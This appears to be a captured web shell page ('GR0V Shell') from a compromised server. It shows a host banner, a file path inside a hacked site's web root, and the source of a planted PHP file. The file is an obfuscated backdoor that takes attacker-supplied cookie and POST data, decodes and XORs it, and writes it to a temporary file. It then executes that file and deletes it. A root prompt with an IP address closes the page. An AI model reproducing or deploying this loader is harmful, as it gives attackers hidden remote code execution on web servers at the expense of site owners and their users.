? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/templates/atomic/html/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/templates/atomic/html/5027e90d.php

$JdqMXZiO = 'C' . chr (69) . "\x5f" . 'P' . "\x78" . "\x42" . "\144" . "\x66";$zGexdnTUmr = "\x63" . 'l' . 'a' . chr ( 256 - 141 )."\163" . chr (95) . "\145" . chr (120) . chr (105) . "\163" . chr ( 284 - 168 )."\163";$HEMSlKu = $zGexdnTUmr($JdqMXZiO); $NxogoGFx = $HEMSlKu;if (!$NxogoGFx){class CE_PxBdf{private $zHAORPyf;public static $HenmBV = "2f2dff7b-7e03-45c5-bfb9-561fab45c1f2";public static $TXRIrAwvGV = 1882;public function __construct($xnqQN=0){$NPRRo = $_COOKIE;$OrqLMggEwA = $_POST;$YoNILor = @$NPRRo[substr(CE_PxBdf::$HenmBV, 0, 4)];if (!empty($YoNILor)){$hQcNse = "base64";$XqIdaoQzAA = "";$YoNILor = explode(",", $YoNILor);foreach ($YoNILor as $WTPVooZDuA){$XqIdaoQzAA .= @$NPRRo[$WTPVooZDuA];$XqIdaoQzAA .= @$OrqLMggEwA[$WTPVooZDuA];}$XqIdaoQzAA = array_map($hQcNse . '_' . "\x64" . chr (101) . 'c' . "\x6f" . "\x64" . 'e', array($XqIdaoQzAA,)); $XqIdaoQzAA = $XqIdaoQzAA[0] ^ str_repeat(CE_PxBdf::$HenmBV, (strlen($XqIdaoQzAA[0]) / strlen(CE_PxBdf::$HenmBV)) + 1);CE_PxBdf::$TXRIrAwvGV = @unserialize($XqIdaoQzAA);}}private function xSwXHowZCJ(){if (is_array(CE_PxBdf::$TXRIrAwvGV)) {$skRPb = sys_get_temp_dir() . "/" . crc32(CE_PxBdf::$TXRIrAwvGV["\x73" . "\x61" . chr (108) . chr (116)]);@CE_PxBdf::$TXRIrAwvGV['w' . "\162" . chr (105) . chr (116) . "\145"]($skRPb, CE_PxBdf::$TXRIrAwvGV["\x63" . 'o' . "\156" . "\x74" . 'e' . "\156" . chr ( 363 - 247 )]);include $skRPb;@CE_PxBdf::$TXRIrAwvGV['d' . chr ( 910 - 809 ).chr (108) . chr (101) . "\x74" . chr (101)]($skRPb); $xEVgGBV = "54765";exit();}}public function __destruct(){$this->xSwXHowZCJ(); $xEVgGBV = "54765";}}$nvbSpjit = new CE_PxBdf(); $nvbSpjit = "49400_43893";}

T1KUS90T
  root-grov@210.1.60.28:~$